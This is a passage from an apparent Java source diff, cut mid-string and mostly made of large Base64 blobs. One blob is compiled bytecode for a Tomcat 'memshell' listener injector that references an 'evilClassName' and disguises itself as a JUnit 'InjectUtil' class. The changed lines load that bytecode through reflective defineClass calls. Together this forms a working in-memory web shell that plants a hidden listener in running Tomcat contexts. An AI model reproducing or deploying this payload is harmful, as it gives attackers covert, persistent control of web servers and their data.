WmZkUTFQbkFXWG1CTkVrbmdmVGVWc01jaVE1bURNaVJtUXJqMlZyaU5wUUViQTB5a05QUkdNaFFaQ3k2bDZhdEx4RElBbmRDd1VSWkVvMFBCL1NZSGh3eEF2SUdTZ1E2bzZPajBZZ05ob3E0VkVWM2lWaUtlM2xMckFzMkdtc0dtdlQxd2JVTmRYWDF1aXBXU05KUlhwOXIxM1p1YW14dnVxeWhhWDFUL2RyR2RZMmQ2eTVyNzJ5cWEyeXZhMTlUMzlHcGl0V1M5UkdXNzB2bzc1cjJZU05pcXFKU0x0NGpQL2tZRDFYVXlPbHgrZUErcjFVdFhyS2xaRE1obXlPeU9TMmJ4N0NVYlJjRXJrQXhXNzZtK09FdjVPUEY2cmM0L1ZWTzMyUDFKUnp4MmNaMm0vdzNBWW80QXNvckp5QXE1NGhsSjhSeWRpdFBpRlhzeWsrSUNuWlZKMFExdTlvVEluQWNzSFR4emVkb2FLQ0dJdllWbFZVVEtQby9WUERWUTBHcFlnUGNsb3FTeWlwWDFla0p1STV4VW9UdGJEMldkV1c0bXUxOG13blhpRFdXaWhMc1FqL3B1eTN1bDNIRWQ1cGoxWk9VZExPdjlybFBvcmkzWnZFaEtPNmpjQmVmZ21kWDViMWlWUXFxenoyQmtoUzhOVlVwbEI3ckZjZHNUNkFDSWJnd3hIRXJYR2N4QzI1RkxGWFFLaFRjQ2RtY0pTbDdyWWlOT0l1RmNEbUxraXRrMlQrZmtRR1cwcHBsV002ZkNxeEFKVlphNTZrbnpjTzFWK0pWM0srU1o5QXh3Qkd0enB5eEdrSHJqSEkwQ01PSzFoN3N0UjFYZERjMWxOS1hTNnJPNElabWQvVVozTmhjN0hmemZOV1RtRjJFaC9CTTFveURRQXErUTNqYTc1N0VISUZtajBWZFBvbDVSVGdwMWpZcmxYN0ZsUkoxellyZjQxczRDWDhSSHNZeU9UNGxsdTZxVEtFc2hjVVRZcDFmU1luNlNWeml3bEhjNm5mN0x2VXJrMWpxd2luY3RHc0N5NXZWalBnWnJFaGhaWFBKVWN4cTlwNUMrUzYvZHdJVkQvcEwvR29LbGRleWQxdDk4U1NxaExTd3dqVjdkZ28xS2RUNkdadEFoaUw1MTdocDIwblJJSW5uQkNSL0haZU9vclNtaWlkZEo2MmEwZXhKVDQ3VHBiZmhDT08weXVsWFF6NUpmWmt3aDZHZXhYVlFyZWk5VnNIckZEeXU0QVlGTnlxWVpEekJUNEhWS0ptT3JPQW1HZkEzUElkU0JUZWZSUjg4VTFrWkxhV0RXVkZpcGNVZUxHSmJ4ZkJYUTBNdEF2eHB3aG9XNkZxbVJoMFRlUjBOYXNETmFLVE42MmwxSysxdXhsMW93VEhXeTBsc3BHc3Z4eE5vdzFObzUvZFdoM0NqaTFaY0lXWmhDOCsyV2N4RnQxak1vcGVwOW5yTW9BNFhUenJLc3JrTFhrUVFaWHNiVE1Td0R5cTE3bkNvVFhnVWNTUm8yMmJjVDNvL0ZPcFNLVEhBTlNaYk9qazVTbUpNSmlkSCszRkFsaWRINHpqSW5UeGlBVjdOTTdqcDY0dndHbHpQVkgyalZkQkZ1QVZ2b3RTdGVMTlQvdzFXQVZQNGVGN2RiOCtxZTVHcENZRzM0SzFzcFRvMysxdjQ5N1lNb2xWWkhBV1U3YkNVYVRiUlVWWWl2MDlzSzRSQlBsbXNCMFNQci80a0dyWlcreHJGR1Z5V1FsTTErL1VwTlBjeUw4dDhMZTRIc0dLWHk5ZmFSMUlOSnpmdmNsVnkzSHdHaDN1T1luMnY3M0pMWENhK1crWjNtYTh0VzhUdm5pSlQzT3l1T21ZQjZRWkdOTVNJN3FQblF6eWV6TThLQ1VOdEVtYVlhNGN0Y0RuTEJIRTdjNGsxY3UxWkhrc2V0NDZIQk9HMWlLRlRpWTVseE1ZTlJJODJwbFU3MGVaSzRzMVdZczArWW92Sm9JNFJWNlJyTmxOVEdYSHFIVXdERnlXYjhFNjhpMXEyRXJQa21wdVNOYzVhTzRQMmJnZXREdUE5M0VrNmV3enZwUmFCOXpsUnMzVWM0c2lXbEtOMDFFSjBQait1N2FpSnZZN3pyei9uL1BhQ3p1OXdQSGw0cXZOYitVdGZ0dmI2T3ZQOXZ5bGJLcy8vanRpNUVMU2hrOVp0WWtvZnpBMUJwd3pCWVFrSWRnZ2FaUWlzZWVFUWhLaU0yRUxYbGJGNjJ1aWVUbGJkSmpwK0N5dHNPMnRzUHl2b0lJTndIVWZuUXJBU3R6c2hhSEhjdlozNGM3c1ZnaTFFQ1h0dEU1MmJEc0gxRE1GbUt3VFhNUVQ5T1NGb2NSeHZTeDZ5cnBBUFdyd2YraC95SDNBQ0xCZ0FBQT09CAHqCgHjAUYKAeMBUwoB4wFXCgHjAWYKAeMBaAoB4wFpCgHjAWoKAeMBdAoB4wF1CgHjAYIKAeMBEwAhAeMA2gAAAAAADwABAIYAhwABAIgAAAEOAAMABQAAAGAqtwABKrYB5EwruQADAQBNLLkABAEAmQBFLLkABQEATrIABhIHtgAIKi23AeU6BLIABrsAClm3AAsZBLYADBINtgAOtgAPtgAIsgAGEge2AAgqLRkEtgHmp/+4pwAETLEAAQAEAFsAXgCYAAQAlAAAABoABP8AEAADBwHjBwEVBwEXAAD5AEpCBwCYAACJAAAAMgAMAAAAHAAEAB4ACQAfACAAIAAoACEALwAiAEkAIwBRACQAWAAlAFsAJwBeACYAXwAoAIoAAAAqAAQALwApAIsAjAAEACAAOACNAIwAAwAJAFIAjgCPAAEAAABgAJAB5wAAAJIAAAAMAAEACQBSAI4AkwABAAEAmQCaAAEAiAAAAA8AAQABAAAAAxISsAAAAAAAAQCbAJoAAQCIAAAAEAABAAEAAAAEEwHpsAAAAAAAAQCcAJoAAgCIAAAAEAABAAEAAAAEEwHrsAAAAAAAnQAAAAQAAQCeAAgAnwCgAAIAiAAAAQAABgAEAAAAahIUuAAVTCsSFgS9AMNZAxLbU7YAGSu2ABoEvQDaWQMqU7YAHMAAHcAAHbBNEh64ABVMKxIfA70Aw7YAGQEDvQDatgAcTi22ACASIQS9AMNZAxLbU7YAGS0EvQDaWQMqU7YAHMAAHcAAHbAAAQAAACoAKwCYAAQAlAAAAAYAAWsHAJgAiQAAABoABgAAADkABgA6ACsAOwAsADwAMgA9AEUAPgCKAAAANAAFAAYAJQChAKIAAQBFACUAowCMAAMALAA+AKQApQACAAAAagCmAKcAAAAyADgAoQCiAAEAkgAAABYAAgAGACUAoQCoAAEAMgA4AKEAqAABAJ0AAAAEAAEAmAAJAKkAqgACAIgAAADUAAQABgAAAD67ALZZtwAjTLsAt1kqtwAlTbsAuFkstwAnThEBALwIOgQtGQS2AChZNgWbAA8rGQQDFQW2ACmn/+srtgAqsAAAAAMAlAAAABwAAv8AIQAFBwAdBwC2BwC3BwC4BwAdAAD8ABcBAIkAAAAeAAcAAABDAAgARAARAEUAGgBGACEASAAtAEkAOQBLAIoAAAA+AAYAAAA+AKsArAAAAAgANgCtAK4AAQARAC0ArwCwAAIAGgAkALEAsgADACEAHQCzAKwABAAqABQAtAC1AAUAnQAAAAQAAQCeAAEAuQC6AAIAiAAAAPYAAwAGAAAAPQFOK7YAIDoEGQQS2qUAGRkELLYAK06nAA86BRkEtgAtOgSn/+YtxwAMuwDEWSy3AC6/LQS2AC8tK7YAMLAAAQAPABYAGQDEAAQAlAAAABEABP0ACAcBQwcAw1AHAMQLDACJAAAAMgAMAAAATwACAFAACABRAA8AUwAWAFQAGQBVABsAVgAiAFcAJQBaACkAWwAyAF0ANwBeAIoAAAA+AAYAGwAHALsAvAAFAAAAPQCQAecAAAAAAD0AvQCMAAEAAAA9AL4ApwACAAIAOwC/AMAAAwAIADUAwQCiAAQAkgAAAAwAAQAIADUAwQCoAAQAnQAAAAQAAQCYACkAxQC6AAIAiAAAAEIABAACAAAADiorA70AwwO9ANq4AeywAAAAAgCJAAAABgABAAAAYwCKAAAAFgACAAAADgDGAIwAAAAAAA4AxwCnAAEAnQAAAAgAAwDfAOAAyAApAMUAyQACAIgAAAJvAAMADAAAANAqwQDDmQAKKsAAw6cAByq2ACA6BAE6BRkEOgYZBccAahkGxgBlLMcASRkGtgAyOgcZBzoIGQi+NgkDNgoVChUJogAsGQgVCjI6CxkLtgAzK7YANJkAExkLtgA1vpoAChkLOgWnAAmECgGn/9OnAAwZBisstgA2OgWn/6M6BxkGtgAtOgan/5cZBccADLsA31krtwA4vxkFBLYAOSrBAMOZABoZBQEttgAcsDoHuwA7WRkHtgA8twA9vxkFKi22ABywOge7ADtZGQe2ADy3AD2/AAMAJQB4AHsA3wCiAKkAqgDgALkAwADBAOAABACUAAAAZQAODkMHAMP+AAgHAMMHATEHAMP/ACAACwcA2gcA2wcA3AcA3QcAwwcBMQcAwwcA3gcA3gEBAAAp/wAFAAcHANoHANsHANwHAN0HAMMHATEHAMMAAAIIQgcA3wsNVAcA4A5HBwDgAIkAAABuABsAAABnABQAaAAXAGoAGwBrACUAbQApAG8AMABwAEoAcQBfAHIAYwBzAGYAcABsAHYAbwB3AHgAewB7AHkAfQB6AIQAewCHAH0AjAB+AJUAgACbAIEAogCDAKoAhACsAIUAuQCJAMEAigDDAIsAigAAAHoADABKABwAygDLAAsAMAA8AMwAzQAHAH0ABwDOAM8ABwCsAA0AzgDQAAcAwwANAM4A0AAHAAAA0ADRAIwAAAAAANAAxwCnAAEAAADQANIA0wACAAAA0ADUANUAAwAUALwA1gCiAAQAFwC5ANcAywAFABsAtQDYAKIABgCSAAAAFgACABQAvADWAKgABAAbALUA2ACoAAYAnQAAAAgAAwDfAMgA4AABAOEA4gADAIgAAALyAAUADgAAAX+7AD5ZtwA/TBLtEkG4Ae3AAEPAAENNAU4sOgQZBL42BQM2BhUGFQWiAUcZBBUGMjoHGQe2AEQSRbYARpkAty3HALMqKioZBxJHtgHuEkm2Ae4SSrYB7sAA7joIGQi2AEy5AE0BADoJGQm5AAQBAJkAgRkJuQAFAQA6CioZCBkKtgBOEkq2Ae7AAO46CxkLtgBMuQBNAQA6DBkMuQAEAQCZAE0ZDLkABQEAOg0ZCxkNtgBOTi3GABottgAgtgBPElC2AEaZAAsrLbkAUQIAVy3GABottgAgtgBPElK2AEaZAAsrLbkAUQIAV6f/r6f/e6cAeRkHtgBTxgBxGQe2AFO2ACC2AFQSVbYARpoAFhkHtgBTtgAgtgBUEla2AEaZAEsqKhkHtgBTEle2Ae4SWLYB7k4txgAaLbYAILYATxJQtgBGmQALKy25AFECAFctxgAaLbYAILYATxJStgBGmQALKy25AFECAFeEBgGn/rinAA86BLsAO1kZBLcAWb8rsAABABgBbgFxAJgABACUAAAATwAO/wAjAAcHAeMHARUHAEMHANoHAEMBAQAA/gBDBwDtBwDuBwEX/gAwBwDaBwDuBwEX/AA1BwDa+gAa+AAC+QACAi0s+gAa+AAFQgcAmAsAiQAAAHIAHAAAAJEACACSABYAkwAYAJUAMQCXAEIAmABbAJsAegCcAIwAnwCrAKAAswChAMYAogDOAKUA4QCmAOkAqADsAKkA7wCqAPIArAEgAK0BMgCuAUUArwFNALEBYACyAWgAlQFuALgBcQC2AXMAtwF9ALkAigAAAGYACgCrAD4A4wCMAA0AjABgAOQA5QALAHoAcgDmAIwACgBbAJQA5wDlAAgAMQE3AOgA6QAHAXMACgDOAKUABAAAAX8AkAHnAAAACAF3AI4AjwABABYBaQDqAOsAAgAYAWcAjQCMAAMAkgAAACAAAwCMAGAA5ADsAAsAWwCUAOcA7AAIAAgBdwCOAJMAAQCdAAAACAADAOAA3wDIAO8AAAACAPAAAgDxAPIAAQCIAAABigAGAAgAAACLAU24AFq2AFNOLccACyu2ACC2AFtOLSq2Ae+2AF1NpwBkOgQqtgHwuAHxuAHyOgUS9xJiBr0Aw1kDEh1TWQSyAGNTWQWyAGNTtgA2OgYZBgS2ADkZBi0GvQDaWQMZBVNZBAO4AGRTWQUZBb64AGRTtgAcwADDOgcZB7YAGk2nAAU6BbIABiy2AGYssAACABUAHgAhAJgAIwB9AIAA+AAEAJQAAAArAAT9ABUHANoHAPdLBwCY/wBeAAUHAeMHANoHANoHAPcHAJgAAQcA+PoAAQCJAAAAQgAQAAAAvQACAL4ACQC/AA0AwAAVAMMAHgDNACEAxAAjAMYALwDHAE0AyABTAMkAdwDKAH0AzACAAMsAggDOAIkAzwCKAAAAUgAIAC8ATgDzAKwABQBNADAA9ADLAAYAdwAGANYAogAHACMAXwDOAKUABAAAAIsAkAHnAAAAAACLAI0AjAABAAIAiQCLAIwAAgAJAIIA9QD2AAMAkgAAAAwAAQB3AAYA1gCoAAcAAQD5APoAAQCIAAAAbQADAAMAAAAaKxJntgBGmQASKxJntgBoPSscBGC2AGmwK7AAAAADAJQAAAADAAEYAIkAAAASAAQAAADTAAkA1AAQANUAGADXAIoAAAAgAAMAEAAIAPsAtQACAAAAGgCQAecAAAAAABoA/ACnAAEAAQD9AP4AAgCIAAAEPgAHAAsAAAHTKrYB804qtgHvOgQqGQS2AfQ6BSsSbAS9AMNZAxLbUwS9ANpZAxkFU7gB7MYABLGnAAU6CBJtuAAVtgAaOgYSbrgAFbYAGjoHpwA2OggSb7gAFbYAGjoGEnC4ABW2ABo6B6cAHToJEm8ELbgAcbYAGjoGEnAELbgAcbYAGjoHGQYScgS9AMNZAxLbUwS9ANpZAxkFU7gB7FcZBhJzBL0Aw1kDEttTBL0A2lkDGQRTuAHsVysSdAS9AMNZAxkGtgAgUwS9ANpZAxkGU7gB7FcZBxJyBL0Aw1kDEttTBL0A2lkDGQVTuAHsVxkHEnUEvQDDWQMS21MEvQDaWQMSdlO4AexXGQcSdwS9AMNZAxLbUwS9ANpZAyq2AfVTuAHsVxJ5uAAVtgB6OginAC06CRkHEnsEvQDDWQMS21MEvQDaWQMqtgH1U7gB7FcSeQQtuABxtgB6OggrEnwEvQDDWQMZB7YAIFMEvQDaWQMZB1O4AexXpwAhOgkrEn0EvQDDWQMZB7YAIFMEvQDaWQMZB1O4AexXGQgDMgS2AH4ZCAMyBb0A2lkDK1NZBBkGU7YAfzoJKisSgLYB7sAAgToKGQoZBRkJuQCCAwBXpwAKOggZCLYAg7EABgATAC4AMgCYADQASABLAJgATQBhAGQAmAECASgBKwCYAVUBcQF0AJgAfgHIAcsAmAAEAJQAAACLAAz+AC8HAPcHANsHANtCBwCYAVYHAJj/ABgACQcB4wcA2gcA2gcA9wcA2wcA2wAABwCYAAEHAJj/ABkACAcB4wcA2gcA2gcA9wcA2wcA2wcA2gcA2gAA9wCsBwCY/AApBwELXgcAmB3/ADgACAcB4wcA2gcA2gcA9wcA2wcA2wcA2gcA2gABBwCYBgCJAAAAogAoAAAA3QAFAN4ACwDfABMA5QAuAOYALwDpADIA6AA0AO0APgDuAEgA+QBLAO8ATQDyAFcA8wBhAPgAZAD0AGYA9gByAPcAfgD7AJgA/ACyAP0AzgD+AOgA/wECAQIBHgEDASgBCAErAQQBLQEGAUkBBwFVAQsBcQEOAXQBDAF2AQ0BkgEQAZoBEQGwARIBvAETAcgBFgHLARQBzQEVAdIBFwCKAAAA1AAVAD4ADQD/AIwABgBIAAMBAACMAAcAVwANAP8AjAAGAGEAAwEAAIwABwBmABgAzgClAAkATQAxAQEApQAIASgAAwECAQMACAEtACgAzgClAAkBdgAcAM4ApQAJAVUAcwECAQMACAGwABgBBACMAAkBvAAMAQUBBgAKAc0ABQDOAKUACAAAAdMAkAHnAAAAAAHTAI0AjAABAAAB0wCLAIwAAgAFAc4BBwD2AAMACwHIAQgApwAEABMBwAEJAKcABQByAWEA/wCMAAYAfgFVAQAAjAAHAJIAAAAWAAIBKAADAQIBCgAIAVUAcwECAQoACACdAAAADAAFAMgA3wDgAQwBDQABAQ4BDwACAIgAAADJAAIABwAAAEQS7RJBuAHtwABDwABDTAFNK04tvjYEAzYFFQUVBKIAJS0VBTI6BhkGtgBEEkW2AEaZAAwZBrYAU02nAAmEBQGn/9ossAAAAAMAlAAAABsAA/8AGQAGBwHjBwBDBwD3BwBDAQEAACL4AAUAiQAAACIACAAAARoADgEbABABHAAmAR4AMwEfADkBIAA8ARwAQgEjAIoAAAAqAAQAJgAWAOgA6QAGAAAARACQAecAAAAOADYA6gDrAAEAEAA0AQcA9gACAJ0AAAAIAAMA3wDIAOAACAEQAIcAAQCIAAAANwACAAAAAAARpwANALsB41m3AfZXsQCn//UAAAACAJQAAAAEAAIDCQCJAAAACgACAAQAGQAMABoAAQERAAAAAgES"; - byte[] bytecode = null; try { - Class base64Clz = classLoader.loadClass("java.util.Base64"); - Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); - Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); - bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); - } catch (ClassNotFoundException ee) { - Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); - bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + String bytecodeBase64 = "yv66vgAAADQBpggA7AoANwDtCgBpAO4LAEMA7wsA8ADxCwDwAPIKAGkA8woAaQD0BwD1BwD2CgAKAO0HAPcIAPgKAGkA+QcAjQoADAD6CAD7CgBJAPwIAP0KAGkA/ggA/wgAhAcBAAoAFwEBCwECAO8KABcBAwoANwEECgAyAPoIAQULAEMBBggBBwoADAEICgAyAQkIAQoIAQsIAQwIAHcHAQ0KACYBDgoADAEPCgAyARAKAGkBEQoAMAESCgAyARMKAGkBFAoAaQEVCgBpARYHARcIAJkHARgHAJgJARkBGgoAMgEbCgEcAR0HAR4KARkBHwoBHAEgBwEhCgBpASIIASMHAKYKASQBJQoACgEmCwBDAScKAGkBKAgBKQcBKggBKwoACgDvCAEsCgAyAS0IAS4HAS8KADIBMAgBMQgBMggBMwcBNAoATgDtBwE1CgBQATYHATcKAFIBOAoAUgE5CgBOAToKAE4BOwoAaQE8CgE9AR0KAT0BAwoAMgE+BwE/CgAyAUAKAFsBQQoBPQFCCgBpAUMKADIBRAoBHAD6CgBJAUUKARwBRgcBRwoAZAFBBwFICgBmAUkKACYBQQcBSgoAaQDtAQAMZ2V0Q2xhc3NOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARUxjb20vcmVhamFzb24vamF2YXdlYi9tZW1zZWxsL3RvbWNhdC9pbmplY3Rvci9Ub21jYXRMaXN0ZW5lckluamVjdG9yOwEAD2dldEJhc2U2NFN0cmluZwEABjxpbml0PgEAAygpVgEACGxpc3RlbmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA1TdGFja01hcFRhYmxlBwFKBwEqBwFLBwD1AQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwEABGtleTEBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcBHgcA9wcBAAEACkV4Y2VwdGlvbnMHAUwBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAC2dldExpc3RlbmVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47BwEXBwEhAQALYWRkTGlzdGVuZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAA9hcHBMaXN0ZW5lckxpc3QBAAxhcHBMaXN0ZW5lcnMBABNbTGphdmEvbGFuZy9PYmplY3Q7AQAKaXNJbmplY3RlZAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWgEAAW8BAA1ldmlsQ2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHb2JqZWN0cwEACWxpc3RlbmVycwEACWFycmF5TGlzdAEAFUxqYXZhL3V0aWwvQXJyYXlMaXN0OwcBLwcA9gEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgcBTQEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAOY29tcHJlc3NlZERhdGEBAANvdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQACaW4BAB5MamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbTsBAAZ1bmd6aXABAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07AQAGYnVmZmVyAQABbgEAAUkHATQHATUHATcHAU4BAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQADb2JqAQAJZmllbGROYW1lAQAEZ2V0RgEAPyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247BwEYBwE/AQANc2V0RmllbGRWYWx1ZQEAOShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEABXZhbHVlAQAMaW52b2tlTWV0aG9kAQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAAWkBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEABm1ldGhvZAEACXRlbXBDbGFzcwcBTwcA3QcBRwcBSAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAG1RvbWNhdExpc3RlbmVySW5qZWN0b3IuamF2YQEAAAwAcwB0DACBAIIMAVABUQcBSwwBUgFTDAFUAVUMAJUAlgwAogCjAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwwA1wDKDAFWAGwBABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yDAFXAVgBAAZ0YXJnZXQMAMkAygEABnRoaXMkMAEAEWphdmEvdXRpbC9IYXNoTWFwDAFZAVoHAVsMAVwAlgwBXQFeAQAPU3RhbmRhcmRDb250ZXh0DAFfAWABABVUb21jYXRFbWJlZGRlZENvbnRleHQMAWEBYgwBYwBsAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcgEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIBAAlyZXNvdXJjZXMBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAcwFkDAFlAWYMAWcBYgwAawBsDAFoAWkMAWoBVQwAcgBsDACyALMMALkAugEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAD2phdmEvbGFuZy9DbGFzcwcBawwBbACcDAFtAW4HAU8MAW8BcAEAEGphdmEvbGFuZy9PYmplY3QMAXEBcgwBcwF0AQATamF2YS9sYW5nL1Rocm93YWJsZQwApwCoAQAgYXBwbGljYXRpb25FdmVudExpc3RlbmVyc09iamVjdHMHAXUMAXYBdwwAcwF4DAF5AXoMANQA1QEAHWFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcnNMaXN0AQAOamF2YS91dGlsL0xpc3QBABxnZXRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXJzAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBewFpAQAMZGVjb2RlQnVmZmVyAQAQamF2YS9sYW5nL1N0cmluZwwBfAFuAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIBAAZkZWNvZGUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0MAHMBfQEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtDABzAX4MAX8BgAwBgQGCDAGDAYQMAM8A0AcBhQwBhgGHAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uDAGIAV4MAHMBiQwBigCjDADXANoMAYsBjAwBjQFgDAGOAY8BAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24MAZAAbAEAQ2NvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdExpc3RlbmVySW5qZWN0b3IBABJqYXZhL3V0aWwvSXRlcmF0b3IBACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5hbWUBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEAA2dldAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAh0b1N0cmluZwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldENsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvdXRpbC9BcnJheXMBAAZhc0xpc3QBACUoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS91dGlsL0xpc3Q7AQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgEAB3RvQXJyYXkBABUoKVtMamF2YS9sYW5nL09iamVjdDsBAAdmb3JOYW1lAQAJZ2V0TWV0aG9kAQAFKFtCKVYBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQADc2V0AQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZlcXVhbHMBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7AQAKZ2V0TWVzc2FnZQEAHG9yZy9qdW5pdC9qdXBpdGVyL0luamVjdFV0aWwHAZEBACZv